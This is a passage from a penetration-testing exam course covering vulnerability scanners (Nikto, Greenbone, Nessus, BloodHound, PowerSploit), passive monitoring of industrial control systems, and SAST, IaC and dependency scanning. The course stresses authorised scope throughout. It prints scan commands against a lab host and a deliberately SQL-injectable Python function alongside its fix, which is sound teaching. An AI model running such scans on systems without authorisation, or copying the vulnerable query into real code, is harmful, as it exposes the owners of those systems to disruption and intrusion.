Here is the whole lesson in one table. Cover a column and try to rebuild it; that exercise is close to what a modify-this-script question asks.

What your scripts look like from the other side

A script is a tester's tool, and defenders see what it does as well as they see any other tool. This table uses the same columns as Lesson 8's family table.

What the exam asks, and the pairs people confuse

How scripted results are reported

A script's output is not evidence until someone else can reproduce it. The first script in this lesson would have produced a clean-looking false negative: no SMB anywhere. So four things go in the evidence file with any scripted result:

• the script with its SHA-256 hash from sha256sum
• the exact command line with date and source address
• the raw input such as scan.xml
• a note of which results you checked by hand

Lesson 12 makes that manual check a formal validation step. Here is how a scripted result reads as a finding, for a fictional client.

• Title: Telnet reachable from the staff network on 3 of 62 in-scope hosts.
• Severity: High. Telnet sends logins in cleartext, so anyone on the same network can read them, and these three hosts run the client's order system. It is not Critical because an attacker needs a foothold on the staff network first.
• Evidence: scan.xml and open.csv produced by scan2csv.py (hash in the evidence log), with date and source address; banners confirmed by hand on all three hosts. In-scope range 203.0.113.0/26 only; no logins attempted.
• Root cause: Telnet is enabled in the build template for these servers, and no firewall rule separates them from staff workstations.
• Remediation: disable Telnet in the template and on the three hosts, use SSH, and restrict management ports to an administrative network. The client can rerun the attached script against a new scan to confirm the fix.

Attaching the script is a kindness to the client and a discipline for you. If it has a bug, a reviewer can find it, and if it has none, the client's team gains a check they can run every month. State limits too: "the scan covered TCP only; port states of filtered are listed as unknowns."

Common misconceptions

• "In Bash, zero means false." An exit status of zero means success, and if treats success as true. Python and PowerShell treat the number 0 as false.
• "A script that prints nothing found nothing." It may be testing the wrong thing, as with a tool that reports by exit status. Run the command by hand to find out.
• "A scraper sees what a browser sees." It sees the HTML the server sent. A single-page application builds its links with JavaScript afterward.
• "Numbers in a CSV file are numbers." Import-Csv gives you strings, so -gt compares text until you cast the field with [int].
• "You must write scripts from scratch for this objective." The objective's verb is modify. Reading a script and choosing the line to change is the practiced skill.

Looking back

Every script in this lesson answered four questions: what goes in, what repeats, what decides and what comes out. Ask them first, in any language. Then check the details that differ.

• nc -z reports through its exit status and prints nothing, and Bash's if branches on exit status, where zero means success.
• Bash loops read for ... do ... done with if ... then ... fi; Python uses a colon and indentation; PowerShell uses foreach and braces.
• Boolean operators are && || ! in Bash, and or not in Python and -and -or -not in PowerShell; Python's port == "445" or "3389" is always true.
• String tools include [[ == ]] patterns and ${ip%.*} in Bash, split, replace and in in Python, and -like (wildcards) and -match (regular expressions) in PowerShell. grep open also matches open|filtered, so search for /open/.
• Bash arithmetic uses $(( )) and integers only, so multiply before dividing: 1 * 100 / 3 is 33, and 1 / 3 * 100 is 0. Python's / gives 3.5 for 7 / 2, and // gives 3.
• Libraries save work (html.parser, urllib, ipaddress, re, csv, xml.etree.ElementTree), functions reuse a block, and a class bundles data with behavior, as when LinkParser inherits from HTMLParser.
• Changing one input, the URL, took a scraper from five links on Metasploitable to none on Juice Shop, because a single-page application builds its links with JavaScript. Reading its script files found the routes.
• In PowerShell, = assigns, > redirects to a file, comparisons are -eq and -gt, CSV fields are strings until cast with [int], and $host is taken.
• Every script you keep starts with a scope check that fails closed, and every scripted result is reported with the script's hash, the command, the raw input and a note of what was checked by hand.

Sources

1. CompTIA. (2024). CompTIA PenTest+ PT0-003 V3 certification exam: Exam objectives (Version 5.0), objective 2.3. comptia.org file host (PDF)
2. Free Software Foundation. (n.d.). bash(1): Compound commands, Arithmetic evaluation, Conditional expressions, Parameter expansion, Exit status. man7.org. OffSec. (n.d.). netcat (nc.traditional help text) and powershell. Kali Linux tools. netcat; powershell
3. Python Software Foundation. (n.d.). The Python standard library: html.parser; urllib.request; urllib.parse; ipaddress; re; csv; xml.etree.ElementTree
4. Microsoft. (n.d.). PowerShell documentation: about_Comparison_Operators; about_Logical_Operators; about_Arithmetic_Operators; about_Automatic_Variables; about_Functions; about_Classes; Import-Csv; Invoke-WebRequest; Test-Connection
5. Lyon, G. (n.d.). Grepable output (-oG) and Output. In Nmap network scanning and Nmap reference guide. grepable output; output. Shafranovich, Y. (2005). Common format and MIME type for comma-separated values (CSV) files (RFC 4180). rfc-editor.org
6. Kimminich, B., and contributors. (n.d.). OWASP Juice Shop source: frontend/src/index.html, frontend/angular.json and frontend/src/app/Services/user.service.ts. github.com. Richardson, L. (n.d.). Beautiful Soup documentation. crummy.com. OffSec. (n.d.). Installing Python applications via pipx. kali.org

A ping sweep and a nine-foot robotic arm

A ping sweep was crossing a live SCADA network, the supervisory control and data acquisition kind that moves physical equipment, when one of its 9-foot robotic arms left standby and swung around 180 degrees. The person in the room happened to be out of reach. The same 2005 Sandia National Laboratories report describes two more incidents. A second ping sweep, run only to take inventory, hung a chip plant's control system and destroyed $50,000 worth of wafers. A test of a gas utility's corporate network wandered into its SCADA system and stopped gas moving through the pipelines for four hours.

A scan is an action, not a look. Before the first finding exists you decide what the scan may touch, what it must include, and how far you will believe what it says. This lesson walks those decisions on your own target in the order a tester works. Then it changes one input, credentials, and watches the results flip. Then it changes a bigger one, a plant instead of a server, and most of the procedure has to be replaced.

Exam objectives: 3.1 (network scans, TCP/UDP and stealth; host-based scans; authenticated versus unauthenticated scans; industrial control system vulnerability assessment, manual assessment and port mirroring; Nikto, Greenbone/OpenVAS, Tenable Nessus, BloodHound and PowerSploit). Lesson 11 covers the application, container and secrets scans from the same objective, and Lesson 20 the wireless ones.

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command here names your host-only target, 192.168.56.102, or Kali itself. A vulnerability scanner sends far more traffic than a port scan, and stranger traffic, so on a client network it must be named in the signed scope and run inside the testing window. Tell the client's security operations center (SOC) your source address too, unless the rules of engagement say the test is meant to surprise them.

Set up once with Kali's NAT adapter attached, because the packages and the vulnerability feed come from the internet: sudo apt install nikto gvm lynis, then sudo gvm-setup, which can take a long time. sudo gvm-check-setup reports anything missing. Greenbone's container documentation asks for at least 2 CPU cores, 4 GB of RAM and 20 GB of disk, so your Kali VM may need more. Then detach the NAT adapter, snapshot Metasploitable and run sudo gvm-start. The web interface is at 127.0.0.1:9392 over HTTPS.

What a vulnerability scanner can actually know

Nmap tells you what is listening. A vulnerability scanner goes on to ask whether what is listening has a known flaw. NIST SP 800-115 lists the job as identifying hosts and open ports, identifying known vulnerabilities and often advising on fixes, and warns in the same breath that these tools have high false positive rates. The reason lies in how a scanner knows anything. There are only three ways.

• It reads a claim. The service announces a version and the scanner compares that with advisories. This is fast, remote and easily wrong.
• It reads the machine. It logs in and lists installed packages or registry entries. This is reliable, and it needs credentials.
• It tests behavior. It sends a probe whose reply shows the flaw. This is strong evidence, and it touches the service the most.

Greenbone, the scanner you will use, puts a number on this, called Quality of Detection (QoD).

By default Greenbone displays only results at 70 percent or above, so a 30 percent result is not wrong, just hidden. "Not in the default view" never means "not found".

So what?: severity says how bad a flaw would be; QoD says how sure the scanner is that you have it. Read both.

Network scans: TCP, UDP and what stealth buys

Lesson 7 taught the flags and port states, so reuse that evidence: sudo nmap -sS -p- -T4 192.168.56.102 -oA lab-full and sudo nmap -sU --top-ports 20 192.168.56.102 -oA lab-udp.

The new question is what the vulnerability scanner does on its own, and the answer is a trap: neither big scanner covers UDP in its defaults. Greenbone's manual warns that its default port list has no UDP port, so port 161 is ignored and no SNMP check runs. The Nessus Advanced Scan template covers about 4,790 common ports with its SYN scanner on and its UDP scanner off.

A report that is silent on SNMP may therefore be a configuration fault, not a clean result. Hand the scanner a port list built from your Nmap results.

The exam's "stealth scans" trade thoroughness for fewer traces.

Stealth means less logged, not invisible. Nmap's documentation says system logs alone rarely catch a SYN scan, yet purpose-built detectors do. Some react: PortSentry, or an intrusion prevention system (IPS), can block your source address mid-run, after which every remaining host looks clean. Use stealth options when the rules of engagement ask whether the SOC would notice, and not otherwise, because quiet and thorough pull in opposite directions. A full vulnerability scan cannot be quiet at all.

Nikto: one web server, over 8,000 checks

Port 80 gets its own tool. Nikto is an open-source web server scanner that checks for over 8,000 potentially dangerous files and programs, outdated versions and misconfigurations. Kali carries version 2.6.1, released in July 2026. Point it at one port and leave out the denial-of-service tests (in x6, the x means everything except category 6):

nikto -h 192.168.56.102 -p 80 -Tuning x6 -o nikto-80.txt

Expect something like this, shortened from a published 2016 run of Nikto 2.1.6 against this image, with your address substituted. Newer versions drop the OSVDB numbers and word some lines differently.

- Nikto v2.1.6
+ Target IP:          192.168.56.102
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /doc/: Directory indexing found.
+ 8329 requests: 0 error(s) and 29 item(s) reported on remote host

Sort those lines by the three ways of knowing. Server and x-powered-by are claims, and "appears to be outdated" is arithmetic on a claim. The /doc/ line is an observation you can confirm by hand with curl -sI 192.168.56.102/doc/. The junk-methods line is Nikto warning about itself: a server that answers anything can fake a hit, so check the hits.

Choose Nikto for a quick look at the server layer: versions, default files, methods, headers. It does not understand the application's logic, which is what dynamic testing in Lesson 11 is for. It is also loud. A defender sees that 8,329-request run as thousands of 404s from one address within minutes, though not necessarily the word Nikto, since 2.6.1 sends a fixed Chrome User-Agent by default. The fixes are ordinary: patch, remove default content, disable TRACE, restrict admin paths.

Greenbone and OpenVAS: building the full scan

The exam writes Greenbone/OpenVAS because the name moved. OpenVAS was the community project's name. Greenbone now calls the free package Greenbone Community Edition. It keeps OpenVAS Scanner as the name of the engine that runs vulnerability tests (VTs, or NVTs in older reports) from a feed. It has also revived OPENVAS as a brand for its commercial products. Kali's package is gvm. The manager, gvmd, stores everything in a PostgreSQL database, and the Greenbone Security Assistant is the web interface. There the procedure is four objects, in order:

1. Port list: the TCP ports from lab-full plus the UDP ports that matter, such as 53 and 161.
2. Target: 192.168.56.102 with that list, and no credentials yet.
3. Task: that target with the scan configuration Full and fast. Greenbone says this runs with safe_checks=yes, which excludes tests that may cause a denial of service, though some tests are still invasive.
4. Report: when it finishes, lower the QoD filter to 0 percent before you read anything.

Here are sample results from one published Full and fast report of this image. Names and scores shift with the feed date.

Read the last two columns together. The 99s are the "tests behavior" row: the scanner got a reply that shows the problem. The end-of-life line outranks DistCC on severity but rests on identifying a version, so it needs a different kind of confirmation. Sort by severity alone and you lose that distinction.

Carrying BIND 9.4.2 forward: what a version string is worth

Lesson 8 asked your target's DNS server its version and got "9.4.2", with recursion apparently on, and left that string for this module. Follow it. CVE-2008-1447, the Kaminsky cache poisoning flaw, lets an attacker spoof DNS replies to a recursive resolver. The National Vulnerability Database lists BIND before 9.4.2-P1 on that line as affected, with a CVSS v3.1 base score of 6.8. A version check does simple arithmetic: 9.4.2 is below 9.4.2-P1, so flag it. Such a result has this shape.

Sample output: a version-based result in Greenbone's usual format
Vulnerability:  ISC BIND DNS cache poisoning (CVE-2008-1447)
Location:       53/udp on 192.168.56.102
Detection:      Installed version: 9.4.2
                Fixed version:     9.4.2-P1

Now the problem. On 8 July 2008 Ubuntu shipped its own fix, notice USN-622-1, as version 1:9.4.2-10ubuntu0.1 of the libdns35 package for Ubuntu 8.04, the release Metasploitable 2 is built on. That is backporting: the vendor copies the fix into the old version instead of moving to the new one. BIND keeps announcing 9.4.2 either way, so the banner cannot separate a patched server from an unpatched one. This is exactly why Greenbone's table has a 30 percent row that names back-ported patches.

It may also explain a silence. One published Full and fast report of this image lists no BIND result at all. That proves nothing about the server. A result could be sitting behind the 70 percent filter, or the feed may treat it differently, so look before you conclude.

The second run: same host, one changed input

Change one thing: credentials. In Greenbone, create a username and password credential for the lab account msfadmin, clone the target, attach the credential as its SSH credential, and run the same scan. Greenbone's manual says regular user access is usually enough on Linux and Unix. The scanner now logs in, lists installed packages and compares them with vendor advisories, the 97 percent row of the table.

First check that the login worked, because a failed login leaves a report that looks like the first one. Greenbone writes a login result for the credential, in the pattern its manual shows for SNMP: "Login Successful For Authenticated Checks" or "Login Failed For Authenticated Checks". On this VM the login may genuinely fail. Greenbone's scanner logs in with libssh rather than OpenSSH, and this server offers old algorithms, which the ssh2-enum-algos script from Lesson 7 lists. If it does, do by hand what the scanner would have done, on Metasploitable's console:

dpkg -l | grep -E 'bind9|libdns'
ii  libdns35   [your version here]   DNS Shared Library used by BIND

To compare two versions the way the package manager does, use dpkg --compare-versions "YOUR-VERSION" ge "1:9.4.2-10ubuntu0.1" && echo at-or-above-fix. Either way a separate finding stands: Ubuntu 8.04 reached end of life on 9 May 2013, so later flaws get no such fix. Working credentials change a report in three ways.

Neither run replaces the other. The unauthenticated run answers "what can someone with no account reach and learn?", which is where an outside attacker starts. The authenticated run answers "what is installed and what is missing?", and Tenable says credentials allow a wider variety of checks and more accurate results. Defenders see valid logons from your scanner, something like sshd[4721]: Accepted password for msfadmin from 192.168.56.101 port 51544 ssh2 in the auth log, so the SOC must know. Treat that account as a high-value secret: dedicated, least privilege, disabled when the test ends.

So what?: the same host gave two different reports because one input changed. Always record which hosts were scanned with a working login.

Tenable Nessus: the same job under a commercial license

Nessus does what Greenbone does, with Tenable's plugins in place of VTs.

Nessus Essentials needs registering with Tenable. As of November 2026 its page gives a 30-day license for up to 5 IP addresses, for personal, educational and non-commercial use, without data export. Verified students and instructors can get a free one-year license for Essentials Plus, and consulting work requires Nessus Professional. Nothing in this course needs an account. If you do register, read Tenable's terms first, including any age rule.

Host-based scans: from inside the machine

NIST notes that scanners can run against a host either locally or from the network. A host-based scan is the local kind: an agent or tool on the machine reads its own patches, configuration, file permissions and services. It needs no inbound access, so it suits a laptop that is rarely in the office. The limit comes with the strength: Tenable's tuning guide says its agents cannot perform remote checks or scan the network, so this view says nothing about what an outsider can reach.

Try one on your own VM. sudo lynis audit system runs Lynis, an auditing tool for hardening Linux and Unix systems, against Kali itself. The report ends something like this sample:

Lynis security scan details:
Hardening index : 66 [#############       ]
Tests performed : 268

Keep this pair straight, because stems play on it. An authenticated scan still runs from your scanner across the network, so it needs reachability and a login at scan time.

A host-based scan needs software on the host and permission to put it there. Defenders see a new process reading a lot of files, which antivirus (AV) and endpoint detection and response (EDR) tools may log or block, so agree on it in advance.

Fix what it finds at the source: if the server is built from Infrastructure as Code (IaC) templates, a fix made only on the live machine vanishes at the next rebuild. Lesson 11 scans those templates.

BloodHound: when the weakness is a relationship

Some weaknesses have no missing patch to flag. Rights in Active Directory (AD) pile up until a junior account can reach a senior one by a route nobody planned. Lesson 8 drew an attack path map by hand. BloodHound does it for AD automatically, using graph theory to reveal relationships nobody intended. Each user, group and computer is a node, each membership or right is a directed edge, and the tool searches for routes along those edges.

SpecterOps publishes the free BloodHound Community Edition, at v9.9.0 in late October 2026; BloodHound Legacy, version 4, is deprecated, so older tutorials are out of date. The collector, SharpHound, runs as a domain account. From the domain controller it gathers group memberships, domain trusts, abusable rights and Group Policy links; from each domain-joined computer it asks for local groups and active sessions. It writes JSON files into a zip for the web application, which is backed by a Neo4j graph database. Your lab has no domain, so read this fictional result.

Each row looks routine. Together they put a help desk account four edges from Domain Admins. BloodHound's documentation is careful about the third row: a session means credential material is possible, not guaranteed. So this is a map of questions, and testing any of it is a separate decision under the rules of engagement. Its value in a report is the cheapest cut: remove the help desk's local administrator right on fs02, or keep domain administrators off that server, and the path is gone without patching anything.

Defenders can see collection as a burst of LDAP and SAM-R queries. Microsoft Defender for Identity lists medium-severity alerts named Security principal reconnaissance (LDAP) and User and Group membership reconnaissance (SAMR).

PowerSploit: archived, and still on the exam

PowerSploit is a collection of PowerShell modules for penetration testing. Its repository has been read-only since 21 January 2021 and its README says the project is no longer supported. The exam lists it anyway. Two of its groups belong to discovery: Recon, which includes PowerView for domain enumeration, and Privesc, whose PowerUp is a clearing house of privilege-escalation checks. PowerUp runs on a Windows host as the user under test and asks what that account could change that it should not.

A result is a small record to interpret. This one is fictional, with its abuse suggestion removed.

ServiceName : ExampleBackupAgent
Path        : C:\Program Files\Example Backup\agent.exe
StartName   : LocalSystem
Check       : Unquoted Service Paths
[abuse suggestion removed]

Those scripts have been public and unchanged since 2021, so expect AV and EDR products to flag them, and get the client's agreement first. Where PowerShell Script Block Logging is on, Windows records the content of what runs as event 4104. The working world has moved toward compiled tools: SharpUp is a C# port of PowerUp's common checks, and Seatbelt appears in Lesson 15. Lesson 23 returns to PowerSploit and PowerView.

The third run: change the target to a plant

Everything above assumed a machine can be rebooted. Point the same plan at an industrial control system (ICS) and the default flips from "scan it" to "send it nothing".

Sandia's reasons are physical: controller CPUs are generations behind and easily overtaxed, legacy networks are slow, and sloppy network stacks go unnoticed until a scanner exercises them. A 2010 good practice guide from the UK's CPNI says many field devices will crash or hang from a simple scan.

NIST SP 800-82 Revision 3 tells owners to use extreme caution with active scanning and to schedule it for planned outages. Greenbone's safe_checks does not change this: a test that does no harm to a server can still stop a controller.

Lesson 5's Purdue model tells you where you are standing. Levels 4 and 5 are ordinary IT, where most testing starts, and NIST warns that scanners there must be kept from mistakenly reaching the OT network, which is the gas utility story. The nearer you get to Level 0, the more of the physical process is at stake, so settle level by level with the asset owner what, if anything, may be probed. Then replace the usual actions. Sandia's table is the core of a manual assessment:

NIST describes the same idea: use passive monitoring and manual visual inspection to keep an inventory, then cross-reference it against known vulnerabilities such as CISA advisories and the National Vulnerability Database. CPNI adds document review (inventories, architecture diagrams, procedures), configuration review and staff interviews, and says the team needs ICS engineering experience. The evidence is a dated inventory: device, firmware, location, and how you read it. Operations staff must know the assessment is happening, and if manual control is possible, someone able to take it must be present. Serial segments get the same treatment, because automated network scanning does not apply to non-routable links.

Port mirroring: hearing the plant without speaking

Port mirroring, which Cisco calls Switched Port Analyzer (SPAN), tells a managed switch to copy the traffic of chosen ports or VLANs to one more port, where your capture machine listens. CPNI says many assessments begin this way. They use a span port on each key switch and capture for hours. Then they compile statistics on who talks to whom, over what protocol and how much. The boundaries between zones are among the most important places to listen.

SPAN is a configuration change on a live switch, and Cisco warns that an oversubscribed destination port can congest, affect forwarding on the source ports and lose packets. A network tap is the hardware alternative, a device in the cable that copies one link, though NIST warns that in-line probes can mean a momentary disconnection.

Both share NIST's limits. Passive capture adds no traffic and can reveal manufacturers, part numbers and firmware versions, but it cannot identify devices that are not communicating, cannot inspect encrypted traffic without special provisioning, and often takes days. The tools are the ones from Lesson 7. Try the reading step in your lab: sudo tcpdump -i eth1 -n -w /tmp/mirror.pcap host 192.168.56.102, then tshark -r /tmp/mirror.pcap -q -z conv,tcp to list conversations. Here is a fictional three-day capture from a water utility, Harbor Water, with Level 1 on 10.30.1.0/24, Level 2 on 10.30.2.0/24 and Level 4 on 10.10.4.0/24.

A worked performance-based question: match the scan to the asset

Harbor Water hands you this scope sheet. Assign one approach per asset and defend it in a sentence. Decide from the Facts column before reading the two on the right.

Now change one fact at a time and reason again.

• The SSH login fails on 9 of the 60 servers. Those 9 have only an outsider's view. List them in the limitations, and do not read their short reports as good news.
• The plant owns a duplicate test rig. You may now scan the rig actively, and the results carry over only where its firmware matches production.
• The rules of engagement add "see whether the SOC notices". The web server now calls for a quiet scan first, and you record what the SOC saw and when.

The whole family at a glance

Exam cues: what the stem is really asking

Objective 3.1 begins "Given a scenario", and these are the pairs people mix up.

How scan results are reported

Scanner output is evidence, not findings. A finding says what is true after you checked. Here is one from the fictional Harbor Water engagement.

• Title: Recursive DNS resolver dns1 lacks the July 2008 cache poisoning fix (CVE-2008-1447).
• Severity: High for this client, above the CVSS v3.1 base score of 6.8 (Medium). dns1 is the only resolver for about 400 staff, so a spoofed answer could redirect mail and web traffic across the company. It is not Critical because the attacker must win a race, and the flaw affects integrity, not code execution.
• Evidence: authenticated Greenbone result, QoD 97 percent, with report file and date; dpkg -l shows libdns35 at 1:9.4.2-10, below the fixed 1:9.4.2-10ubuntu0.1 in USN-622-1; the banner query returned 9.4.2. No cache poisoning was attempted.
• Root cause: the host runs Ubuntu 8.04, unsupported since 9 May 2013, and sits outside the patch process.
• Remediation: move the resolver to a supported release and current BIND; until then, restrict recursion to named clients. Confirm with a credentialed rescan.

The methodology must state the conditions of the scan, because they decide what its silences mean:

• tool and feed date
• port list including UDP
• QoD filter
• safe checks
• the hosts where login worked and failed
• anything blocked mid-run

In a plant report, say plainly that no active scanning was done, what was read by hand, and which devices were never seen. Those belong in the limitations, where a client can act on them. Lesson 12 turns this into formal validation, and Lesson 14 explains how scoring systems weigh severity.

Common misconceptions

• "A clean report means a clean host." A default report may have skipped UDP, hidden everything under 70 percent QoD or failed its login.
• "The version number settles it." Back-ported fixes keep the old number. Read the package.
• "Stealth scans are invisible." They leave fewer application logs, but firewalls and intrusion detection still see them.
• "Safe checks make a scanner safe for controllers." A ping sweep alone has moved a robot arm and hung a chip plant.
• "BloodHound finds vulnerabilities." It finds relationships. Nothing in a path need be unpatched.

What to remember

• A scanner knows by reading a claim, reading the machine, or testing behavior. Greenbone's QoD scores these: 30 or 80 for banners, 97 for package and registry checks, 99 for a remote test that shows the flaw.
• Greenbone hides results under 70 percent QoD by default, and its default port list has no UDP. The Nessus Advanced Scan template covers about 4,790 ports with SYN on and UDP off.
• Ubuntu fixed CVE-2008-1447 in libdns35 1:9.4.2-10ubuntu0.1 while BIND's banner still says 9.4.2, so the package decides, not the banner.
• An authenticated scan logs in across the network; a host-based scan runs on the machine. Confirm the login worked: Greenbone's login result, Nessus plugins 19506 and 21745.
• Stealth means less logged, not unseen: SYN scans rarely reach application logs, but IDS products catch them, and an IPS can block a scanner mid-run.
• Nikto runs over 8,000 checks against a web server and is loud. It sees the server layer, not application logic.
• BloodHound graphs AD rights and sessions from SharpHound data. PowerSploit, with PowerUp and PowerView, has been archived since 21 January 2021.
• On an ICS, NIST favors passive monitoring and manual inspection, cross-referenced to advisories, with active scans only at planned outages or on a replica. Passive capture misses silent devices, encrypted content and serial links.

Sources

1. Duggan, D. P., Berg, M., Dillinger, J., and Stamp, J. (2005). Penetration testing of industrial control systems (SAND2005-2846P). Sandia National Laboratories. archived at webarchive.library.unt.edu
2. Centre for the Protection of National Infrastructure. (2010). Cyber security assessments of industrial control systems: A good practice guide. archived at web.archive.org
3. National Institute of Standards and Technology. Stouffer, K., et al. (2023). Guide to operational technology (OT) security (SP 800-82 Rev. 3), section 5, Appendix E.2.2-E.2.3 and Appendix F control RA-5. csrc.nist.gov; Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (SP 800-115), section 4. nvlpubs.nist.gov
4. Greenbone AG. (n.d.). Greenbone Enterprise Appliance manual, GOS 22.04: Scanning a system; Reading the results (Quality of Detection). scanning; reports; Greenbone Community Documentation: Architecture. architecture; Greenbone Community Forum. SSH authentication unsuccessful for authenticated scans (libssh). forum; Kali Linux. (n.d.). gvm. kali.org
5. Tenable. (2026). Tenable Nessus 10.12 user guide: Discovery settings; Credentials; Scan templates. discovery; credentials; Nessus scan tuning guide. tuning; Nessus Essentials. Essentials; plugins 19506 and 21745
6. Sullo, C. (2026). Nikto, README and release notes for version 2.6.1. github.com; cirt.net
7. Published scan records of Metasploitable 2, used only to shape the samples: Reid, C. (n.d.). Metasploitable/Apache/Python. charlesreid1.com; Sabry, M. (n.d.). Metasploitable2 penetration testing report. github.com
8. Records of CVE-2008-1447: National Vulnerability Database. nvd.nist.gov; Canonical. (2008). USN-622-1: Bind vulnerability. ubuntu.com; Conrad, A. (2013, May 9). Ubuntu 8.04 (Hardy Heron) End of Life reached on May 9, 2013. lists.ubuntu.com
9. SpecterOps. (2026). BloodHound documentation: SharpHound Community Edition; HasSession; BloodHound repository (v9.9.0); BloodHound Legacy README. SharpHound; HasSession; repository; Legacy
10. PowerShellMafia. (n.d.). PowerSploit repository and Privesc README. github.com; GhostPack. (n.d.). SharpUp. github.com
11. Microsoft. (n.d.). Security alerts in Microsoft Defender for Identity; about_Logging_Windows. alerts; logging
12. Cisco. (n.d.). Configure Catalyst Switched Port Analyzer (SPAN). cisco.com
13. Lyon, G. (n.d.). Nmap network scanning: Port scanning techniques; Detection of Nmap scans. techniques; detection

One invoice portal, nine defects, no single scanner

Meridian Freight's invoice portal has 340 Git commits, one Dockerfile, one Terraform file, an Android app for its drivers and nine security defects. Meridian is fictional; every real tool, CVE and incident below is named as such.

Each scan reads one kind of artifact and is blind to the rest, and defect 9 needs a person. So a scenario question on this objective usually comes down to one thing: what has the client handed you?

Exam objectives: 3.1 (container scans, including sidecar scans; application scans: DAST, IAST, SCA, and SAST with its Infrastructure as Code and source code analysis branches, plus mobile scans; secrets scanning; TruffleHog, Grype, Trivy and Kube-hunter). Lessons 10 and 20 cover the network, host and wireless scans.

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Code, images and cluster access all belong to the client, so the rules of engagement (ROE) must name each one. Most scans here only read files. Two go further and need their own line in the permission: a DAST active scan sends attacks at a running application, and TruffleHog's verification uses a credential against its provider.

Commands here name only files on your Kali VM or the Juice Shop image from Lesson 2, and none needs an account or paid service. Kali packages Trivy, TruffleHog and ZAP; Grype and Bandit install separately. Trivy and Grype download vulnerability databases, so run sudo trivy image --download-db-only and sudo grype db update with Kali's NAT adapter attached, then detach it. Grype refuses a database older than five days by default.

The scans side by side: what each one reads and what it needs

Developers meet these at different stages of the software development life cycle (SDLC):

• SAST plug-ins in the integrated development environment (IDE) as code is written
• SCA, secrets, IaC and image scans in the continuous integration/continuous delivery (CI/CD) pipeline
• DAST and IAST once a test environment exists

The core of it: a scan can only find what exists in the thing it reads, and none of them knows who should be allowed to open invoice 1042. Choose by what you hold, then write down what that choice cannot see.

Source code analysis and SAST: reading without running

Static application security testing (SAST) examines source, bytecode or binaries without executing them. The objectives hang two branches from it: source code analysis, by tool or by eye, and Infrastructure as Code, the next section. A tool's central technique is taint analysis, as OWASP describes it: follow a value the user controls through the program, and flag it if it reaches a dangerous function, the sink, unsanitized. Here is defect 1 with its fix, then what Bandit, a free Python SAST tool, prints for bandit -r ./portal (its documented format; file and line fictional).

# Flagged: the value becomes part of the SQL text.
def find_invoice(conn, invoice_id):
    query = "SELECT * FROM invoices WHERE id = '%s'" % invoice_id   # line 42
    return conn.execute(query).fetchone()

# The fix: the driver sends the value separately, so it cannot change the statement.
def find_invoice(conn, invoice_id):
    query = "SELECT * FROM invoices WHERE id = ?"
    return conn.execute(query, (invoice_id,)).fetchone()

>> Issue: Possible SQL injection vector through string-based query construction.
   Severity: Medium   Confidence: Low
   CWE: CWE-89
   Location: ./invoices.py:42

Severity is how bad the pattern would be if real. Confidence is how sure the tool is. Bandit's documentation explains the low rating: this rule matches strings that look like SQL being built, and raises confidence only when the string sits directly in an execute call. It has matched a shape, not traced a user. So you trace it: invoice_id comes from the URL in routes.py and reaches line 42 unchanged, and now you have a finding. The same alert on a line fed by a hard-coded constant would be a false positive (Lesson 12).

OWASP says SAST scales, repeats cheaply and names the file and line, but produces many false positives, struggles with authentication and access control, and often cannot see configuration, which is not in the code. Reading by eye, from a grep keyword search to line by line, is where OWASP's testing guide says logic and design flaws surface. Choose SAST when you hold the repository and want the exact line; choose DAST when you need to show how the running application behaves.

Infrastructure as Code: scanning the blueprint

Infrastructure as code (IaC) describes servers, networks and clusters in text files that a tool then builds: Terraform and CloudFormation templates, Helm charts, Kubernetes manifests, Dockerfiles. Text can be scanned before anything exists, which is why the objectives file it under SAST. Here is defect 4 and the shape of what trivy config . prints; the rule title is real.

# network.tf
resource "aws_security_group_rule" "ssh" {
  type        = "ingress"
  protocol    = "tcp"
  from_port   = 22
  to_port     = 22
  cidr_blocks = ["0.0.0.0/0"]     # line 7
}

network.tf (terraform)
Failures: 1 (HIGH: 1)
HIGH: Security groups should not allow unrestricted ingress to SSH or RDP from any IP address.
network.tf:7

The same command flags defect 5's Dockerfile: HIGH: Image user should not be 'root'. Checkov does the same job.

Now change one input. Suppose the line reads cidr_blocks = [var.admin_cidr], the default is 0.0.0.0/0, and production's real value sits in a prod.tfvars file you were not given.

Trivy evaluates the variables it can see, so it should report the default; rerun with trivy config --tf-vars prod.tfvars ., where the value is 203.0.113.0/24, and the finding should disappear. A template scan reports what the files say, given the inputs you supplied.

So ask for the variable files, and confirm important results on the live system, which may have drifted since (Lesson 19). The fix belongs in the template, since a change made only on the live system vanishes at the next rebuild (Lesson 10).

Software composition analysis: the code nobody at the client wrote

Software composition analysis (SCA) identifies the open source and third-party components in an application, their known vulnerabilities and often their license terms. It reads manifests and lockfiles such as pom.xml, packaged libraries, or a software bill of materials (SBOM), an inventory in a standard format such as SPDX or CycloneDX. Libraries pull in other libraries:

invoice-pdf 1.4.0
  pdf-renderer 3.2.1      direct dependency: your team chose it
    log4j-core 2.14.1     transitive dependency: pdf-renderer chose it

That last line is defect 2, and Log4Shell (CVE-2021-44228) is the real case behind it.

Apache's advisory says an attacker who controls log messages or their parameters could run code loaded from LDAP servers; Java 8 users needed 2.15.0, and even that fix proved incomplete in some configurations.

Four scans see one such service differently. SAST sees an ordinary logging call in the team's own code and reports nothing. SCA matches log4j-core 2.14.1 in the manifest to the CVE. An image scan finds the same library even inside another JAR, because Trivy reads a JAR's own metadata. DAST reports it only if a probe reaches a field the service logs and the scanner can observe the outbound lookup that follows. Grype's documentation shows how a match prints (its own example, with an older version):

NAME        INSTALLED  FIXED-IN  TYPE          VULNERABILITY   SEVERITY  EPSS          RISK
log4j-core  2.4.0      2.12.2    java-archive  CVE-2021-44228  Critical  94.4% (99th)  100.0 (kev)

